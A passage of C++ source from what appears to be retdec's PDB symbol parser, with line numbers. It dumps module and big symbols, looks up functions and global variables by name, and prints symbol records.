sym->seg, sym->flags.bAll, sym->retReg, sym->name); 612 | break; 613 | } 614 | case S_TRAMPOLINE: //0x112c 615 | { 616 | TRAMPOLINESYM *sym = reinterpret_cast(symbol); 617 | printf( 618 | "TRAMPOLINE trampType: %04x cbThunk: %04x offThunk: %08x offTarget: %08x sectThunk: %04x sectTarget: %04x\n", 619 | sym->trampType, sym->cbThunk, sym->offThunk, sym->offTarget, sym->sectThunk, sym->sectTarget); 620 | break; 621 | } 622 | case 0x1136: //0x1136 623 | { 624 | SECTIONSYM *sym = reinterpret_cast(symbol); 625 | printf("(?)SECTION seg: %04x ?: %04x off: %08x len: %08x ?: %08x name: %s\n", sym->seg, sym->unknown1, 626 | sym->off, sym->len, sym->unknown2, sym->name); 627 | break; 628 | } 629 | case 0x1137: //0x1137 630 | { 631 | COFFGROUPSYM *sym = reinterpret_cast(symbol); 632 | printf("(?)COFFGROUP len: %08x ?: %08x off: %08x seg: %04x name: %s\n", sym->len, sym->unknown1, 633 | sym->off, sym->seg, sym->name); 634 | break; 635 | } 636 | case 0x1138: //0x1139 637 | { 638 | EXPORTSYM *sym = reinterpret_cast(symbol); 639 | printf("(?)EXPORT %04x %04x %s\n", sym->unknown1, sym->unknown2, sym->name); 640 | break; 641 | } 642 | case 0x1139: //0x1139 643 | { 644 | CALLSITEINFOSYM *sym = reinterpret_cast(symbol); 645 | printf("(?)CALLSITEINFO %08x %08x %08x\n", sym->unknown1, sym->unknown2, sym->unknown3); 646 | break; 647 | } 648 | case 0x113a: //0x113a 649 | { 650 | FRAMECOOKIESYM *sym = reinterpret_cast(symbol); 651 | printf("(?)FRAMECOOKIE %08x %08x\n", sym->unknown1, sym->unknown2); 652 | break; 653 | } 654 | case 0x113c: //0x113c 655 | { 656 | COMPILE3SYM *sym = reinterpret_cast(symbol); 657 | printf("(?)COMPILE3 %08x %04x %08x %08x %08x %08x %s\n", sym->unknown1, sym->unknown2, sym->unknown3, 658 | sym->unknown4, sym->unknown5, sym->unknown6, sym->name); 659 | break; 660 | } 661 | case 0x113d: //0x113d 662 | { 663 | printf("(?)ENVBLOCK "); 664 | for (int i = 0; i < symbol->size - 2; i++) 665 | putchar(symbol->data[i]); 666 | printf("\n"); 667 | break; 668 | } 669 | case 0x113e: //0x113e 670 | { 671 | LOCALSYM *sym = reinterpret_cast(symbol); 672 | printf("(?)LOCAL %08x %04x %s\n", sym->unknown1, sym->unknown2, sym->name); 673 | break; 674 | } 675 | case 0x1141: //0x1141 676 | { 677 | DEFRANGE_REGISTERSYM *sym = reinterpret_cast(symbol); 678 | printf("(?)DEFRANGE_REGISTER %08x %08x %04x %04x\n", sym->unknown1, sym->unknown2, sym->unknown3, 679 | sym->unknown4); 680 | break; 681 | } 682 | case 0x1142: //0x1142 683 | { 684 | printf("(?)DEFRANGE_FRAMEPOINTER_REL "); 685 | print_dwords(reinterpret_cast(symbol->data), symbol->size); 686 | printf("\n"); 687 | break; 688 | } 689 | case 0x1143: //0x1143 690 | { 691 | printf("(?)DEFRANGE_SUBFIELD_REGISTER "); 692 | print_dwords(reinterpret_cast(symbol->data), symbol->size); 693 | printf("\n"); 694 | break; 695 | } 696 | case 0x1144: //0x1144 697 | { 698 | printf("(?)DEFRANGE_FRAMEPOINTER_REL_FULL_SCOPE "); 699 | print_dwords(reinterpret_cast(symbol->data), symbol->size); 700 | printf("\n"); 701 | break; 702 | } 703 | case 0x1145: //0x1145 704 | { 705 | printf("(?)DEFRANGE_REGISTER_REL "); 706 | print_bytes(reinterpret_cast(symbol->data), symbol->size); 707 | printf("\n"); 708 | break; 709 | } 710 | default: 711 | { 712 | for (int i = 0; i < symbol->size - 2; i++) 713 | putchar(symbol->data[i]); 714 | printf("\n"); 715 | } 716 | } 717 | 718 | position += symbol->size + 2; 719 | cnt++; 720 | } 721 | 722 | puts(""); 723 | cnt = 0; 724 | 725 | while (position < stream->size) 726 | { // Dump big symbols 727 | PDBBigSymbol *symbol = reinterpret_cast(stream->data + position); 728 | if (symbol->type == 0 || symbol->type > 0xFF || position + int(symbol->size) > stream->size) 729 | break; 730 | printf("Big symbol %2d: size %08x type %08x: ", cnt, symbol->size, symbol->type); 731 | 732 | switch (symbol->type) 733 | { 734 | case 0xF2: 735 | { 736 | LineInfoHeader *sym = reinterpret_cast(symbol); 737 | printf("FUNCTION LINE INFO off: %08x seg: %08x len: %08x lines: %3d u1: %08x u2: %08x\n", sym->off, 738 | sym->seg, sym->len, sym->num_records, sym->unknown1, sym->unknown2); 739 | break; 740 | } 741 | default: 742 | { 743 | printf("\n"); 744 | } 745 | } 746 | position += symbol->size + 8; 747 | cnt++; 748 | } 749 | puts(""); 750 | } 751 | 752 | void PDBSymbols::dump_all_modules(void) 753 | { 754 | for (unsigned int i = 0; i < modules.size(); i++) 755 | { 756 | dump_module_symbols(i); 757 | puts(""); 758 | } 759 | } 760 | 761 | void PDBSymbols::print_functions(void) 762 | { 763 | puts("******* SYM functions list *******"); 764 | for (PDBFunctionAddressMap::iterator it = functions.begin(); it != functions.end(); ++it) 765 | { 766 | if (it->second != nullptr) 767 | it->second->dump(); 768 | } 769 | } 770 | 771 | PDBFunction* PDBSymbols::get_function_by_name(const char* name) 772 | { 773 | for (PDBFunctionAddressMap::iterator it = functions.begin(); it != functions.end(); ++it) 774 | { 775 | if (it->second != nullptr) 776 | { 777 | if(_stricmp(it->second->name,name)==0) 778 | { 779 | return it->second; 780 | } 781 | } 782 | } 783 | 784 | return nullptr; 785 | } 786 | 787 | PDBGlobalVariable* PDBSymbols::get_global_variable_by_name(const char* name) 788 | { 789 | for (PDBGlobalVarAddressMap::iterator it = global_variables.begin(); it != global_variables.end(); ++it) 790 | { 791 | if (it->second.name != nullptr) 792 | { 793 | if (_stricmp(it->second.name, name) == 0) 794 | { 795 | return &it->second; 796 | } 797 | } 798 | } 799 | 800 | return nullptr; 801 | } 802 | 803 | void PDBSymbols::print_global_variable(PDBGlobalVariable* val) 804 | { 805 | printf("Global variable [%s] at 0x%llx\n", val->name, val->address); 806 | printf("\tOffset : %08x\n", val->offset); 807 | printf("\tSection: %04x\n", val->section); 808 | printf("\tModule : %d\n", val->module_index); 809 | printf("\tType : %08x ", val->type_index); 810 | int size = -1; 811 | if (val->type_def != nullptr) 812 | { 813 | val->type_def->dump(true); 814 | size = val->type_def->size_bytes; 815 | } 816 | puts(""); 817 | printf("\tSize : %d bytes\n", size); 818 | puts(""); 819 | } 820 | void PDBSymbols::print_global_variables(void) 821 | { 822 | puts("******* SYM global variables list *******"); 823 | for (PDBGlobalVarAddressMap::iterator it = global_variables.begin(); it != global_variables.end(); ++it) 824 | { 825 | print_global_variable(&it->second); 826 | } 827 | } 828 | 829 | PDBSymbols::~PDBSymbols(void) 830 | { 831 | for (PDBFunctionAddressMap::iterator it = functions.begin(); it != functions.end(); ++it) 832 | { 833 | if (it->second != nullptr) 834 | delete it->second; 835 | } 836 | } 837 | 838 | // ================================================================= 839 | // PRIVATE METHODS 840 | // ================================================================= 841 | 842 | void PDBSymbols::dump_symbol(PSYM Sym) 843 | { 844 | switch (Sym->Sym.rectyp) 845 | { 846 | case S_PUB32: 847 | printf("S_PUB32| [%04x] public%s%s %04x = %s (type %04x)", 848 | Sym->Pub32.seg, // 0x0c 849 | Sym->Pub32.pubsymflags.fCode ? " code" : "", Sym->Pub32.pubsymflags.fFunction ? " function" : "", 850 | Sym->Pub32.off, Sym->Pub32.name, // 0x08 0x0e 851 | Sym->Data32.typind); // 0x04 852 | break; 853 | 854 | case S_CONSTANT: 855 | PDB_DWORD value; 856 | PDB_PBYTE name; 857 | name = RecordValue(reinterpret_cast(&Sym->Const.value), &value); 858 | printf("S_CONSTANT| const %08x = %s", value, name); 859 | break; 860 | 861 | case S_UDT: 862 | printf("S_UDT| [%04x] typedef %s;", Sym->Udt.typind, Sym->Udt.name); 863 | break; 864 | 865 | case S_LPROCREF: 866 | case S_PROCREF: 867 | printf("S_%sPROCREF| procref [%s; mod %04x; ibSym %x] %s", Sym->Sym.rectyp == S_LPROCREF ? "L" : "", 868 | Sym->Sym.rectyp == S_LPROCREF ? "local" : "global", Sym->Ref2.imod, // 0x0c 869 | Sym->Ref2.ibSym, // 0x08 870 | Sym->Ref2.name); // 0x0e 871 | break; 872 | 873 | case S_LDATA32: 874 | case S_GDATA32: 875 | { 876 | printf("S_%sDATA32| data [%s; type %04x] %04x = %s", Sym->Sym.rectyp == S_LDATA32 ? "L" : "G", 877 | Sym->Sym.rectyp == S_LDATA32 ? "local" : "global", Sym->Data32.typind, Sym->Data32.off, 878 | Sym->Data32.name); 879 | } 880 | break; 881 | 882 | default: 883 | printf("unknown symbol len %04x type %04x\n", Sym->Sym.reclen, Sym->Sym.rectyp); 884 | } 885 | 886 | puts(""); 887 | } 888 | 889 | } // namespace pdbparser 890 | } // namespace retdec 891 | --------------------------------------------------------------------------------